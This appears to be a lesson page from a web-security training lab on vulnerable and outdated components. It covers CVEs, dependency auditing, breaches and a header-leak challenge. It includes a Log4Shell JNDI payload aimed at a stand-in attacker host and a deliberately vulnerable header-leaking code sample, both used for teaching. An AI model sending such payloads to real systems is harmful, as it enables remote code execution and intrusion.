Vulnerable & Outdated Components
Theory
Every application uses open-source libraries, frameworks, and system packages. A06 Vulnerable and Outdated Components addresses the risk of running code you didn't write โ code that may already have a published CVE, a public exploit, and an active attacker scanning for it. This category was formerly #9 (2017) but moved to #6 because supply chain attacks became mainstream.
What Makes a Component Vulnerable
- Known CVEs โ the library has a publicly disclosed vulnerability in the National Vulnerability Database (NVD) and a CVSS score. Attackers scan for version strings in HTTP headers and serve targeted exploits.
- Outdated/unmaintained packages โ a dependency has not received security updates in years and is no longer supported
- Version disclosure โ returning exact version numbers in HTTP response headers (
Server: Apache 2.4.49) tells attackers exactly which CVEs to target - Transitive dependencies โ your code depends on package A which depends on package B (v1.2.3 with a critical CVE). You never installed B directly, but it runs in your process
- Supply chain attacks โ a malicious package published under a similar name (typosquatting) or a maintainer account compromised to push backdoored code
Real CVEs That Are Still Actively Exploited
CVE-2021-44228 Log4Shell (Apache Log4j 2.x) CVSS 10.0 RCE via JNDI lookup in log messages CVE-2021-26084 Confluence OGNL injection CVSS 9.8 RCE; exploited by state actors within hours of disclosure CVE-2022-22965 Spring4Shell (Spring Framework) CVSS 9.8 RCE; affects Spring MVC on JDK 9+ CVE-2017-5638 Apache Struts 2 (Equifax breach) CVSS 10.0 OGNL injection โ 147M records stolen CVE-2019-0708 BlueKeep (Windows RDP) CVSS 9.8 Wormable RCE without authentication CVE-2021-3129 Laravel Debug Mode RCE CVSS 9.8 Debug mode + vulnerable Ignition = RCE
Version Disclosure โ Vulnerable vs Fixed
# VULNERABLE โ leaking version information in response headers
@app.get("/")
def index(response: Response):
response.headers["Server"] = "Apache/2.4.49" # CVE-2021-41773 path traversal!
response.headers["X-Powered-By"] = "PHP/7.3.4" # known RCE CVEs
response.headers["X-Build-Info"] = "ratapp/1.0+secret=supersecretkey"
return {"hello": "world"}
# FIXED โ suppress all version information
@app.middleware("http")
async def remove_version_headers(request, call_next):
response = await call_next(request)
response.headers.pop("Server", None) # remove or set to generic string
response.headers.pop("X-Powered-By", None)
response.headers.pop("X-AspNet-Version", None)
return response
Dependency Auditing
# Python โ audit installed packages against the safety DB / PyPI advisories pip install pip-audit pip-audit # Node.js โ built-in vulnerability scanner npm audit npm audit fix # auto-upgrade non-breaking fixes # Multi-language via Snyk snyk test snyk monitor # continuous monitoring; alerts on new CVEs for your locked deps # Docker images โ scan the container itself docker scout cves unclerat/myapp:latest trivy image unclerat/myapp:latest # Java โ OWASP Dependency-Check mvn org.owasp:dependency-check-maven:check
Supply Chain Attack Example โ Log4Shell
# Log4j 2.x (versions < 2.15.0) evaluates JNDI lookups inside log messages
# A single line of attacker-controlled input reaching any logger = RCE
# Attack payload sent in HTTP header (User-Agent, X-Forwarded-For, etc.):
User-Agent: ${jndi:ldap://attacker.com/exploit}
# Log4j logs the User-Agent, evaluates the JNDI expression,
# fetches a malicious Java class from attacker.com, and executes it.
# FIXED: upgrade Log4j to >= 2.17.1, or set:
# -Dlog4j2.formatMsgNoLookups=true (JVM flag)
# LOG4J_FORMAT_MSG_NO_LOOKUPS=true (env var)
Real-World Breaches
- Equifax (2017) โ Apache Struts CVE-2017-5638 was patched 2 months before the breach, but Equifax had not applied it. 147 million SSNs exposed.
- SolarWinds (2020) โ Attackers compromised the build pipeline and inserted a backdoor into the Orion software update, affecting 18,000 organisations including US government agencies
- event-stream (2018) โ A popular npm package was handed to a new maintainer who added a payload targeting the Copay Bitcoin wallet. Downloaded 8 million times before discovery
- Log4Shell (2021) โ CVE-2021-44228 in Log4j affected hundreds of millions of systems; exploited within hours of public disclosure
How to Fix โ Checklist
- Lock and audit dependencies โ use lock files (
requirements.txt,package-lock.json,go.sum) and runpip-audit/npm audit/Snykin CI - Subscribe to security advisories โ follow GitHub Security Advisories, NVD feeds, and vendor mailing lists for all components you use
- Remove unused dependencies โ every extra package is an extra attack surface. Run
pip-checkordepcheckto find unused packages - Suppress version headers โ never advertise your tech stack in HTTP responses
- Use Dependabot or Renovate โ automated PRs when a new version of a dependency is released, including security patches
- Verify package integrity โ use checksums/sigstore for critical dependencies; prefer packages with 2FA-enforced publishing
Challenge 1
Version Disclosure via Response Headers
The application leaks component versions in HTTP headers. Inspect the response headers from /web/a06/version โ a hidden secret is embedded in the build metadata.
Hint
Check the
X-Build-Info and X-Powered-By response headers using curl -I.